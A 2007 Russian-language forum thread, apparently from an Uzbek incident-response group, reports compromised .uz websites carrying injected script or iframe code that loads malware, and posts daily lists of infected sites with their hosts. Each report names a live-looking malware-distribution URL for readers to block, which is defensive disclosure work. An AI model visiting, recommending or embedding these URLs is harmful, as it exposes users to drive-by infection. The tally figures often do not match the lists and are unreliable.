Вредоносная ссылка: http://spl.vip-ddos.org/index.php

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
23.11.2007, 18:33
На веб-сайте hттp://www.pinpay.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://icqdosug.com/pood/index.php

Хостинг: ISPSYSTEM (RU)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
23.11.2007, 18:41
Список на сегодняшний день (Зараженных: 43 Новых: 7):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
aks.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
beksoft.uz - Сайт недоступен
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bp.uz - Хостинг: TEXNOPROSISTEM (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
jaluzi.uz - Хостинг: TEXNOPROSISTEM (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
mart.uz - Хостинг: ISP "Ars-Inform" (UZ)
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
nature.uz - Хостинг: UZSCINET (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
out.uz - Хостинг: ELTEL (RU)
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
pharmi.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
pinpay.uz - Хостинг: ISPSYSTEM (RU)
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
uzbekcircus.uz - Хостинг: Everyones Internet (US)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 25
Размещенных зарубежом: 18

Eldar Ishimbaev
26.11.2007, 14:55
Список на сегодняшний день (Зараженных: 35):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
aks.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
beksoft.uz - Сайт недоступен
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bp.uz - Хостинг: TEXNOPROSISTEM (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
jaluzi.uz - Хостинг: TEXNOPROSISTEM (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
mart.uz - Сайт недоступен
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
nature.uz - Хостинг: UZSCINET (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
out.uz - Хостинг: ELTEL (RU)
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
pharmi.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
pinpay.uz - Хостинг: ISPSYSTEM (RU)
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Сайт недоступен
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Сайт недоступен
uzbekcircus.uz - Хостинг: Everyones Internet (US)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 20
Размещенных зарубежом: 15

Dmitry Paleev
27.11.2007, 14:55
На веб-сайте hттp://www.alutex.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://evilmelon.com/images/sell.php

Хостинг: ISP "Sharq Telekom"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
27.11.2007, 14:58
На веб-сайте hттp://www.anime.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.wp-stats-php.info/iframe/wp-stats.php

Хостинг: New Dream Network, LLC (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
27.11.2007, 16:17
Список на сегодняшний день (Зараженных: 36):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
aks.uz - Хостинг: New Dream Network, LLC (US)
alutex.uz - Хостинг: ISP "Sharq Telekom" (UZ)
anime.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
beksoft.uz - Сайт недоступен
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bp.uz - Хостинг: TEXNOPROSISTEM (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
jaluzi.uz - Хостинг: TEXNOPROSISTEM (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
mart.uz - Сайт недоступен
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
nature.uz - Хостинг: UZSCINET (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 22
Размещенных зарубежом: 14

Dmitry Paleev
28.11.2007, 15:50
На веб-сайте hттp://www.flat.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://fen0men.info/exp/index.php

Хостинг: ELTEL (RU)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
28.11.2007, 15:53
На веб-сайте hттp://www.mart.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.akillisoft.net/cool/

Хостинг: ISP "Ars-Inform"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
28.11.2007, 15:55
На веб-сайте hттp://www.tzmk.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://simdream.net/mpk/index.php

Хостинг: iPowerWeb, Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
28.11.2007, 15:56
На веб-сайте hттp://www.uzross.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://simdream.net/mpk/index.php

Хостинг: iPowerWeb, Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
28.11.2007, 16:12
Список на сегодняшний день (Зараженных: 39 Новых: 4):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
aks.uz - Хостинг: New Dream Network, LLC (US)
alutex.uz - Хостинг: ISP "Sharq Telekom" (UZ)
anime.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
beksoft.uz - Сайт недоступен
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
flat.uz - Хостинг: ELTEL (RU)
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
mart.uz - Хостинг: ISP "Ars-Inform" (UZ)
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
nature.uz - Хостинг: UZSCINET (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 22
Размещенных зарубежом: 17

Dmitry Paleev
29.11.2007, 17:02
На веб-сайте hттp://www.riso.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://fen0men.info/exp/index.php

Хостинг: DINET-GLOBAL (RU)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
29.11.2007, 17:08
Список на сегодняшний день (Зараженных: 40 Новых: 1):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
aks.uz - Хостинг: New Dream Network, LLC (US)
alutex.uz - Хостинг: ISP "Sharq Telekom" (UZ)
anime.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
beksoft.uz - Сайт недоступен
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
flat.uz - Хостинг: ELTEL (RU)
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
mart.uz - Хостинг: ISP "Ars-Inform" (UZ)
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
nature.uz - Хостинг: UZSCINET (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
riso.uz - Хостинг: DINET-GLOBAL (RU)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 22
Размещенных зарубежом: 18

Eldar Ishimbaev
03.12.2007, 13:50
Список на сегодняшний день (Зараженных: 37):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
aks.uz - Хостинг: New Dream Network, LLC (US)
alutex.uz - Хостинг: ISP "Sharq Telekom" (UZ)
anime.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Сайт недоступен
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
beksoft.uz - Сайт недоступен
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
flat.uz - Хостинг: ELTEL (RU)
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
mart.uz - Хостинг: ISP "Ars-Inform" (UZ)
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
nature.uz - Хостинг: UZSCINET (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
riso.uz - Хостинг: DINET-GLOBAL (RU)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 20
Размещенных зарубежом: 17

Eldar Ishimbaev
05.12.2007, 14:23
Список на сегодняшний день (Зараженных: 33):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
aks.uz - Хостинг: New Dream Network, LLC (US)
anime.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Сайт недоступен
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
beksoft.uz - Сайт недоступен
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
flat.uz - Хостинг: ELTEL (RU)
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
mart.uz - Хостинг: ISP "Ars-Inform" (UZ)
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
nature.uz - Хостинг: UZSCINET (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
riso.uz - Хостинг: DINET-GLOBAL (RU)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 19
Размещенных зарубежом: 14

Dmitry Paleev
06.12.2007, 09:28
На веб-сайте hттp://www.gosts.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://icqdosug.com/pood/index.php

Хостинг: BillurNET

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Eldar Ishimbaev
06.12.2007, 09:42
Список на сегодняшний день (Зараженных: 34 Новых: 1):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
anime.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Сайт недоступен
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
beksoft.uz - Сайт недоступен
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
flat.uz - Хостинг: ELTEL (RU)
gamma-elektro.uz - Сайт недоступен
gosts.uz - Хостинг: BillurNET (US)
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
mart.uz - Хостинг: ISP "Ars-Inform" (UZ)
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
nature.uz - Хостинг: UZSCINET (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
riso.uz - Хостинг: DINET-GLOBAL (RU)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 19
Размещенных зарубежом: 15

Djalolatdin Rakhimov
06.12.2007, 12:16
(Зараженных: 34 Новых: 1):

Точнее "обнаруженных заражений", не известно, сколько реально зараженных... не все же успеваете проверять

Eldar Ishimbaev
07.12.2007, 13:57
Список на сегодняшний день (Обнаруженных заражений: 28):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
anime.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Сайт недоступен
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
beksoft.uz - Сайт недоступен
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
flat.uz - Хостинг: ELTEL (RU)
gamma-elektro.uz - Сайт недоступен
gosts.uz - Хостинг: BillurNET (US)
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
mart.uz - Хостинг: ISP "Ars-Inform" (UZ)
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
nature.uz - Хостинг: UZSCINET (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
riso.uz - Хостинг: DINET-GLOBAL (RU)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
shosh.uz - Сайт недоступен
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
warez.uz - Сайт недоступен
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 17
Размещенных зарубежом: 11

Djalolatdin Rakhimov
07.12.2007, 15:36
